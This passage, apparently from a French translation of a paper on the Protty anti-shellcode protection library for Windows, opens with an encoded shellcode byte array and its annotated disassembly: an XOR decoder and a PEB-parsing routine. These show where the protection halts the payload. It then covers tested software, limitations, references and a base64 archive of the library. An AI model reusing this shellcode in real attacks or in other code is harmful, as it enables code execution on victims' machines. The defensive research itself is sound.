"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84" "\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1" "\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9" "\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5" "\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb" "\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87" "\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3" "\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a" "\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9" "\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4" "\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd" "\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52" "\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8" "\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46" "\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7" "\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4" "\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a" "\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd" "\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5"; Disassembly: 0012FD68 90 NOP 0012FD69 90 NOP 0012FD6A 90 NOP 0012FD6B 90 NOP 0012FD6C 90 NOP 0012FD6D 90 NOP 0012FD6E 90 NOP 0012FD6F 90 NOP 0012FD70 90 NOP 0012FD71 90 NOP 0012FD72 90 NOP 0012FD73 31C9 XOR ECX,ECX 0012FD75 83E9 AF SUB ECX,-51 0012FD78 D9EE FLDZ 0012FD7A D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C] 0012FD7E 5B POP EBX 0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597 0012FD86 83EB FC SUB EBX,-4 0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F ; DECODING LOOP decoded data: 0012FD8B FC CLD 0012FD8C 6A EB PUSH -15 0012FD8E 4F DEC EDI 0012FD8F E8 F9FFFFFF CALL 0012FD8D ; [!] 0012FD94 60 PUSHAD 0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24] 0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C] 0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78] 0012FDA0 01EF ADD EDI,EBP 0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18] 0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20] 0012FDA8 01EB ADD EBX,EBP ... [!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE (PARSING PEB BLOCK ROUTINE) 0012FDDE 31C0 XOR EAX,EAX 0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30] 0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1] 0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!-P2] [!!-P1] - protty (P1) s'empare de l'exécution quand l'instruction à 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) est exécutée, l'application termine, l'attaque échoue. [!!-P2] - P2 fonctionne comme juste avant, mais l'exécution est redirigée quand l'instruction lodsd est exécutée. --[ VII. Défauts (ce que vous devez savoir) - TODO J'ai testé Protty2 (P2) avec : - Microsoft Internet Explorer - Mozilla Firefox - Nullsoft Winamp - Mozilla Thunderbird - Winrar - Putty - Windows Explorer et quelques autres applications, il a bien fonctionné avec entre 2 et 5 modules de protégés (par défaut, c'est 2, NTDLL.DLL et KERNEL32.DLL), sans trop d'utilisation CPU! Vous pouvez définir le nombre de modules protégés etc... pour le rendre plus adaptés à votre machine/logiciel. Le BON point est que la zone mémoire n'est pas requise tout le temps, généralement seulement au chargement des nouveaux modules (donc, ça n'use pas trop le CPU). Cependant, il y aura probablement des applications qui ne seront pas stable sous Protty. Je pense que diminuer les méthodes de protections rendront plus stable mais ça diminuera aussi le niveau de sécurité. De toute façons, il semble plus stable que le XP SP2 :)) Je prépare des exams, alors je n'ai pas trop de temps pour m'occuper de Protty, donc, tout en l'utilisant, rappellez vous que c'est un code plus du style POC [NDT : Proof Of Concept , preuve de concept]. TODO : !!! VRAIMENT IMPORTANT !!! - ajouter un vérificateur pour toutes les chaines SEH - optipisaion du code, moins de code, plus de vitesse ! - ajouter un gestionnaire d'exception en tableau - Ajouter des clefs de registres/Chargeurs pour l'injecter automatiquement aux applications démarrées (si quelqu'un veut jouer avec Protty1) : - Ajouter des procédures de calcule d'alignements pour VirtualProtect, pour décrire plus précisément les tailles de zones. De toutes façons j'ai fait SAFE_MEMORY_MODE (nouveau!), voici la description : Quand Protty arrive au point où il vérifie la région mémoire qui a généré l'exception, il vérifie s'il elle est protégée. À cause du manque de procédure d'alignement pour (VirtualProtect), les procédures de comparaisons peuvent ne pas êtres stables (en fait, de rares cas :)) - et pour se prémunir de tels cas, j'ai fait SAFE_MEMORY_MODE. Dans ce cas, Protty ne vérifie pas si la mémoire qui a causé l'exception se trouve quelque part dans la table des régions protégées. Au lieu de ça, Protty récupère la protection actuelle de l'adresse mémoire (j'utilise VirtualProtect - pas VirtualQuery parce qu'il échoue sur certaines zones). Ensuite, il vérifie que la protection actuelle est PAGE_NOACCESS, et si tel est le cas, il déprotège toutes les régions protégées et refait le test, si ça a changé, c'est que la région requise fait partie des régions protégées. Le reste du méchanisme est le même (je pense que c'est en fait mieux que des procédures d'alignement, de toutes façons, ça a l'air de bien fonctionner). (vous pouvez activer le safe mode en éditant prot/conf.inc et en recompilant la librairie) --[ VIII. Derniers mots Pour la fin, je voudrais dire qu'il reste beaucoup à faire (c'est seulement un concept), mais j'ai passé un chouette moment à coder ce petit truc. Il est basé sur de bonne nouvelles idées, nouvelle technologie, nouveaux outils. Cette description est courte et pas très bien documentée, comme je l'ai dit plus haut, testez-le vous-même et regardez l'effet. Désolé pour mon mauvais anglais et ce genre de choses. Si vous avez des commentaires ou autre choses, laissez moi un email. Mes remerciements vont à (dans un ordre aléatoire) : - K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb "some birds werent meant to be caged, their feathers are just too bright." - Stephen King, Shawshank Redemption --[ IX. Références [1] - VirtualQuery API - msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp [2] - MEMORY_BASIC_INFORMATION structure - msdn.microsoft.com/library/en-us/ memory/base/memory_basic_ information_str.asp [3] - IsBadWritePtr API - msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp [4] - Detours library - research.microsoft.com/sn/detours/ [5] - Bypassing 3rd Party Windows Buffer Overflow Protection - http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_ BufferOverflow_Protection.txt [6] - Defeating w2k3 stack protection http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection. pdf [7] - Gaining important datas from PEB under NT boxes http://vx.netlux.org/29a/29a-6/29a-6.224 [8] - IA32 Manuals - http://developer.intel.com/design/Pentium4/documentation.htm [9] - An In-Depth Look into the Win32 Portable Executable File Format (PART2) - http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx [10]- Windows Heap Overflows - http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/ win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf [11]- Technological Step Into Win32 Shellcodes - http://www.astalavista.com//data/w32shellcodes.txt [12]- EPO: Entry-Point Obscuring - http://vx.netlux.org/29a/29a-4/29a-4.223 --[ X. Code La librairie compilée et le code source attaché au papier. Aussi disponible à http://pb.specialised.info . --- START OF BASE64 CHUNK - PROTTY LIBRARY PACKAGE --------------- <++> PROTT-PACKAGE.ZIP.BASE64 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 30XIQzB2/CPToqbPiI6JfSxu5txFmTkF+tVr1v7+idKyJ9c9/ewLr76x/2DD ocN/+vORo8daP/jos39+29P9w81bt+/cdcD9PmRK6NRHw6bJkzOWqUlN4coi rU5vLLNUb9m2+82avW/te3t//ZH3Tp779B/M5a/t31y5+u2NOwi9xd/H3xW3 O67GYy9sfm7fe5/zTAxifxeYVMVjrypaJfS03y89o3JIVNaJlTzoPctd0v+2 rX+M9e1Xc4fQqkI/r4VbeAAeDcEZYBTwGQk+pQHu5SCG3jqvft1eLXgcQ4oA c8ncmBjnWztITQq62RQREi1mslM4AvpKZpFT3jvP5Cnw6GazFUBMpAMtHVQQ pBVxThV/6DJ3e00GuEyWCoW3pY0KhYI8sNMXkY6Z6DzZ6Zh5nHzBo+N9EjQP kLs3pzrIzanzQ0g0P2S3wkmkwyOvg1z5me4KudT33Fky/PLKIlJY9doe0rHu lTfIW9OqrpArz2n3ks9/+VYkmf3hjmWkJ3eCG7nhtcBZpL0lMI88v8rnAKmd vOkEqV1ZdpDcvVt7kPTa6nCQafMTT5Ew3QdkZ+zuzeTxOYe0ZNoeeQmpPfj8 LvKAtmMV2bFK20E2X1ilJYlv1vmQPs13W8lW6JLHgtvvknXB7fNJcfrGOtIh rnNIT9RzpR0M/pHau8PouXT5ksVphcTSBae/ti2TNjI4E997qUtpc5wriYaD VyeDrmEqdB+CIwD6Xqw411bnZ2tA5VwEnAOclXJsdYStzgQDgfkdMAVCDj5D wVEIxyTQHwstvwGZ3Jw6tSYwwGUHBl6tzFb3GhY/CCNfJ3A9nKsl2NN1PJvg cM8o3BfA4Z7f4Im1OXyXKewRwcceEU6PnL7G2+oanf6V4wbUTNhFAxjfjlye N2HLfrZ5tlxpo/QMXSQMri7jFk7Ovt1ZA1fFVJoSCvNj+IKKJ2FV+eY4B7Wm ij+HDnq6y9ZjfNz7bKU8IFYgqHgFzsZ2CyoO4rZLUIF/UIk9KajAsehqkTkz QWsGv6olv/ySh8ceP4rHzUB7CGiMHMGBNmuy1xfu1WWBnbuqTlmTR+I+0bkr FCbfapVznb99SBvtnVVfTLxk+rLH2Ol9tsvmZxR22QjjuC6bySjossmM7pdz 4VKtlI+yd1XKR9uvm4wcvt1uMiK+/R/gdaX8Pu/NT+NvPsw3HVTt5TwAd/Gn G7tMpzj267j3jekUYf+nKY4wXjKdcrN/yiqNUQinxxJZRi9TWYDD6CY4fHNU 1ef5kzwaTbcbqWBTGeJSU2PdjN6mU54sfqzQw3RbRo023TZR/PzH3JGRZ2pz u3wX/ulMbRx7V/5jfER5Ycg1gBi/MrVx7Red/4I4/HQGv6vZRLlVyUfXdDV7 Urzaa9DKsGAUdCBytQXQQuhq82uq5AE1gsOX/Erg7H01EGkMGwMdT9wZW1Nt DKSTvTp3VRsJOnkkRBRmsZZxraU4oI5Js2VQR02ax/IklitYns7yLODD9H+F 0uclphHwh7/zIdLkCemJixb+1j4N069HwbL+fi70Z8uGxulAboJjIxzb4dgD R4Ps58/1ZdOqoiKE/DmQq+MCIV6lMuAiAc3iDCpn0AZOkl6pStKsMCgNayHH nM11Zukq7qDyEz0+qNYYpv8GSRTO7xl7j2AYT4VDBIcAUpzH2K/tiqGGpNay 1RH7EUmO8wuS39TzYfrFBPuKP0nZK4oUzxEvFj8h3iDeLH5V/IbYV5IuKZDU S4Kkj0ibRD2iuyK+eJy4WLxQsk6yXfql9JZ0ZHhE+OvSG1IiPCe8I9we7h9x OPz98LERD0UII7ZH7InwjYyKzIvcENkQ+WWkX1RsFBlFRVmiHoksi3w98kzk 3cgpUYujdFGbZ748s27msZnvzbwwE7EfnWJ/RKIsUY4oX6QV1YgOiJpFp0QX RF+JvhO5iSNFsSIf8ShxvDhHXCtuEH8rjpboJJHiVPEqcbn4afFxMV9CShol b0p6JEppkdQgXR/eJu2WzgwvCz8afiNcGJEdsSmiNeJORFikMnJX5CeRI6Ji oppmtM4IiZ4WnR63JC43Lj+uKM4Q99tuzDAN0/8+/QtQSwMEFAAAAAgAj4rB MvuuLWqWAAAA1AAAACgAAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L2Jp bi9SRUFETUUudHh0XU5RCsIwFPsv9A65gBW8gbgJwtQPHfgnXfdkD2Zb2jfm bu9wH4qBQCAhSUxBZDJt36Nhb9Ok1eofWmm1C8/IPbUYWbowCOpyj46GxFnY ZVj/tU7XoqrMTNArhiTI5ISDR5zHFmm0OjwwhQGj9QIJYO8S2Uzrlhbxk85I 5JYDkI7Qc5PmqwbH7e1+PBd1VV60yvQp2pg3UEsDBAoAAAAAABZYwTIAAAAA AAAAAAAAAAAhAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv UEsDBBQAAAAIAFlheTJDRARvYgAAAI4AAAAsAAAAUFJPVFQtUEFDSy9wcm90 dHktY3VycmVudC9zb3VyY2UvY29tcGlsZS5iYXRLSc1RKCjKLymp1EvJyeHl SkHw85OyeLlKEotzjY0U9HMNgdgYiCug0jo61kDZnMy8bKC0bkhBioJuYiJM DqYkM7cgv6jE2EgvJzNJB2ZNapoOL1eAa3hQsKuznrO/L5L9AFBLAwQUAAAA CAAuWnkyLwFFIKEFAAA3FAAALwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl bnQvc291cmNlL2RlYnVnX3Byb3QuaW5jrZdbj5tGFICfseT/MFJf2krZsN6b 00RNMYx3aViggJ3dvCAM2EZibQJs4vTXdy4Ml5mxrUjFsmxxvnPm3OYwvAeu 5wTBMzBt3VoYEMxNC4I3P3WNR+9/TuGYFeYL+vkb6gF4A+Iyjeo0AasfwM32 dQlm0S6LwIcV/rko8K2/Ni9Rll/E+5c/sYltXRd/vH1brC6qIo2zKM+qNLnI duv9/+Um/hiz+1B37MC0F1DBF/xnoaiqeom+k20n9xwrnHlQ+8SYa8pMOUZX OOCmAeCTDt3AdOzQdoLwQbMNCxoNOqXoZYMG0Hs0bS2AYfCAljQ4i1cChtKs Q9/nuOstDlBHFjokNOBsgZxZQjto6KuWoatJkMl41Lk/FBP5JZabwYlFbhpC ugR1ejyyHCyyLJn4djxyFoG7CBqhH3imPVxjOh4t7FM27sYjz3S7e+TmO9oH /Qg1nUSxNB1LwzdYV8QquXBFO5g0heuYdgDaiylMqcLVQMHQAi14dmH4aPqa Zd7bj10ITGMy0PBRpBZEIUNX4cDrAah5nvYczpyFbfik4aDR9ljj/TQeaMwt nFDb8R41K3Rc6KG+5BQSUcFcmgYMZ8/hF+g5HJ4KuGnDJ00PQg/6Cyvg8LUE X6K0GNQbMf3vVEHDWUJvbjmfFY68FEg/0PRPof4A9U8cOxFYlES52WE5UeFP JuTdtYAf83fYWK5nLhGOGn2hS9JwO4Btx26mmDZDrdIKBjqTmxM6/a3cNh5J V8/dnrF1wsVFq2aYvuv4pujw5HZL95lvfoGhMw+n6tX0DjXFvYka2yPDK/36 imYhxeotemIkYbzf1emhJtuVpGI8ig+hTu/O82hTEZHx2fEMBQBVUd43KmCN pfhJgqOET2xytCsSS0apKoKFJF29bkCZbrKqTkvwi9qgl+fRywadnEcnDXp1 Hr1q0Nvz6G2D3p1H7/rJQRVGuw2NVDLL2iyX+/zzvkwEW+viFTSJJqxfR/Vr JaJEGESbIxJYlvvSWa+rtD4m9dM8jet9KYqNqI6O6mJhX5UTe00WNNRlRDx7 DiCSHulOkLwW4Ff1N5qXUrWLA4445S13+fThPR7stMv8dHMvNuqmaovBqLlI rUUKilQqUoZIJX2q8xUVHN5Dj+Y8ycTOSZNsaB5WMqriqdVBQq0OHJXIqISn YhkV81Qko6KDNOzmzNa4WshcLTjzmYzKCiH3umQscRWC8umVkrHFZ1u2bCUu 64v2qr4tagWi4wEesY/w0fHQeUHzTR31wByfAprB3Yzab1/DWVSlWpKUKTJE jzaKu3RMAyhqd+ABBNXyfB9HdbbfYSWe5hC33Ndoc2IIMJcZhTfnfudn/7ZG qJjJydZjoqFqZ1YiDH4UMrUTecCpAvSBJD1IY7pLV1wkWbidZ3m3Cj3ooz8q YHLkYtzLZo9okYA8/GQEQ/IC59hZmy/Rpl3NIrkegsl3A499E703YcfaeUl7 ZIDuWlJIPb84ddBCtcx7tZatnxeoWmXNtVDPaMuRUOzo5WQ468Uui/dJy/Tt nKoQ6/nuxOJBnerS6qFHHjzEaYF7U0cL9DaSAkj1WjHZuJJIlPEolNlvkZ6N Jh/tBqFi+/VllZZuVKIsoA1bHdPGNSpfyD4a+iAPUAx+kBsxAV4as+e1aO+D it7Pk+/zrKxqfRvt4kGuqKNHFmKOcG9pvB95wvZRbw+RrUokrPeNPO/apBOf 7PgOG3a7IgK9jpQtwzpRadtQPRoYi3uB3iroYEEX+ctm8vHeJelWuFr0zfcA 6fJEPliZucO9I7MxlqQsh/BbuqvZbmgKrDZAM8bM/rGuFdL5IJMtmuCZPx9F N5h77sJ/0ELaFKBzMAAs3BAaJhhetIYfGwIgxD+NIGLmniP8s8Ts6RxhnCX0 s4R2lBBzRbPYvx/iwy0WofcscP37FOf4P1BLAwQUAAAACAC9c4kye3r6p/wB AABdBAAAKwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL215 X2RsbC5pbmONVFFvmzAQfkfiP1h52lQWRZk2VWyaSLpqjdQ2VZq3KEIHvhA2 g5HtNGy/fmdDcLZs2lDAcPfd3Xf32Rm/u37fhMG4khwF2wkwYRAGZZ2LA0d2 LOu3U2jKMRmsPclBiJZVkCvJ2jDA1qCqWRs3ShLAep255pWFNxr3jK4Oz9hx D2bKZRiw/hKSQmhNEvmCKiV4uoeaC1Qe45L+A1PJF7eibqINPa4m1/utdw91 L3PEHtVK1SXhbUS3dzQH7drgR6k4a4xiOx1vCLK9ZHCJiYiPx51G84GtUBup kD3f3rE3w5cU3FmGFsNAnU/xf+jK5i9ULjG/BJ64OaVt0/qHl7qTCnqRaeUZ a6NJGEDsBXeRHLNDMT1FRqUzCQNThQXDjIbhBlr6IqNX+Wv2VEqiOoe6BPYx s8u4saakqKAU41xWn0Y+pO2zTHpCvtkNlbhKH1BrKHAu29nW80vyPebfTtxQ qTSnfR9VujhvsGoYAg21d4fB1xqtY+hMFxF7mKeLm+Xj7Wq1XBHCxrSl+X0c SYEmpQOUAueqL1tFcDbf4VDdS+D3ZaZAfZ95P/R9EqEB+QXNE523GaWkLs+6 82PuKtHbH4SD2MnvnKS6PmT2PZK7nUZjAedq0l8DB9PJPVrfLZ4Z/T7P1jPa pTfrxfJxZPcAobpJcSFIrTruQn8CUEsDBAoAAAAAAJ2MwTIAAAAAAAAAAAAA AAAmAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9Q SwMEFAAAAAgAMUpPLJnanyiBAgAAbAoAAC8AAABQUk9UVC1QQUNLL3Byb3R0 eS1jdXJyZW50L3NvdXJjZS9wcm90L0FERTMyLkFTSKWVXW+iQBSG7038D+cS 41phSlqyrttQwaapLob2ontl0BlbGr6WD0Ob3f++DAgygBJ1bkZh3oc577wH up0RyIp6jWCLrnjU7XQ7k6Wq65oO1UH+ROk8ENjrIxiPTWdrWCYG11u7mFCG rCi6cJDBZ0N4Lxh/cxFqE6GSyDY+YUUgCgiGwLQjKzQc4kaB9ZnjxDacWNnD TJs81TRVkbQXvRtbAqnI88nGjCnj5rZOqDIEfs/AZGNg7H8HBD8Gg58gppCb dghiIdgIDRaiq4tWiMhXqklE8a4a4KZoOL3uUdaz+tDKkqosKtobI//6vdDV 6eNrI4KjRfepff3sHPppAf300ekWFPlFbkmVwPOVE6WillQhRnQ8VRTXkiqx tofnx/s276SyiK5PbAuIE+ZJroeqLE/KLslpmgLzi0B/nIcr33o9VmUMYjA0 TyUM/Usxc03R50eLERlMsj6OY304p+J7WWlxQmLEkRMFkWHBxvVhoYL6qg6V 2YyStMVEU9TqyZZI1JNqHpGTv6WA46fgol7WJrPjm0INKJ9YRmgmPwz/LbKT 